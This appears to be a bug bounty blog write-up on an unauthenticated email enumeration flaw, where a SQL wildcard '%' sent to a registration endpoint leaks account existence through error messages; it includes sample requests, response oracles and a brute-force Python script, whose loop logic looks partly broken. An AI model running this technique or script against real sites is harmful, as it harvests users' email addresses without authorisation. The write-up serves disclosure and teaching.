Post

Unauthenticated Email Enumeration via API Fuzzing

Introduction

This blog post explores a recent finding I discovered in a bug bounty target. I stumbled upon a user enumeration issue that exposes email addresses without proper security measures. This vulnerability allows unauthorized users to enumerate all email addresses without authentication or rate limiting, potentially exposing sensitive information.

Discovery

While testing the registration process, I encountered a POST request to a API endpoint used for email verification in my burp history tab. The endpoint was checking if the email address I entered during registration already existed or not.So i started fuzzing the endpoint /registration with fuzzing payloads using intruder, I stumbled upon a 500 error code response when I injected a % character into the userEmail json parameter. The server returned a 500 Internal Server Error along with a message.

Request
1
2
3
4
5
6
POST /registration HTTP/2
Host: domain
Content-Type: application/json;charset=UTF-8

{"userEmail":"%"}

Response
1
2
There was an unexpected error (type=Internal Server Error, status=500).</div><div>Unable to find com.correnet.matcha.client.model.application.AccessGroup with id 7052; nested exception is javax.persistence.EntityNotFoundException: Unable to find com.correnet.matcha.client.model.application.AccessGroup with id 7052.

By observing this error message, my assumption was that the input I passed is executed in a SQL query in the backend. This query likely performs a select statement on all records from the users table where the email column matches any value containing the % character. It’s worth noting that % is a wildcard character in SQL, indicating any sequence of characters, so logically, it would return all matching entries. The error message returned from the server indicates that there are 7052 entries in the system, providing insight into the number of user accounts present.Based on this assumption, the SQL query executed in the backend might resemble the following, where the % character serves as a wildcard to match any sequence of characters in the email column,

1
SELECT * FROM users WHERE email LIKE "{userEmail}"

so it will become,

1
SELECT * FROM users WHERE email LIKE "%"

Further testing this endpoint i figured out the true and false case for the email address existence.

False Response Case:
1
2
3
4
HTTP Request Body: {"userEmail":"adamcorta%"}
HTTP Response: "Could not find resource: ApplicationUser identified by adamcorta%"

True Response Case:
1
2
3
4
5
6
7
8
9
10
HTTP Request: {"userEmail":"adamcorte%"}

HTTP Response: "There was an unexpected error (type=Internal Server Error, status=500).</div><div>Unable to find com.correnet.matcha.client.model.application.AccessGroup with id"

or

HTTP Response: "Anonymous user (not logged in) not authorized for operation: [connect application user to Platform user]"


Exploit

And based on above error messages, I( ChatGPT of course! ) made a wacky Python script to automate the email enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests

def brute_force_attack():
  
    charset = 'abcdefghijklmnopqrstuvwxyz@._'
    initial_string = ''

    last_valid_username = None  
    
    consecutive_errors = 0  
    max_consecutive_errors = 70  
    for initial_char in charset:
        initial_string = initial_char
        while True:
            for char in charset:
                
                payload = initial_string + char + '%'
                response = send_request(payload)

                
                if "500" in response:
                    initial_string += char
                    print(initial_string)
                    break
                elif "403" in response:
                    last_valid_username = payload  
                    print(f"username: {last_valid_username}")
                    initial_string += char
                    consecutive_errors = 0
                    break
                else:
                    
                    consecutive_errors = 0
            else:
                
                consecutive_errors += 1
                if consecutive_errors >= max_consecutive_errors:
                    if last_valid_username is not None:
                        print(f"Last valid username: {last_valid_username}")
                    else:
                        print("No valid username found.")
                    return initial_string
                break  

    else:
        initial_string += charset[0]
    return initial_string



def send_request(payload):
    
    endpoint_url = '{domain}}'  
    url = f"{endpoint_url}/registration"
    headers = {'Content-Type': 'application/json;charset=UTF-8'}
    data = {"userEmail": payload}

    try:
        response = requests.post(url, json=data, headers=headers)
        response.raise_for_status()  
        return response.text
    except requests.exceptions.RequestException as e:
        return str(e)


result = brute_force_attack()
print("The correct username is:", result)

Sample Proof of Concept (PoC)

In response to this discovery, the program triaged and fixed the vulnerability by implementing input validation and captcha protection to the registration page.

This post is licensed under CC BY 4.0 by the author.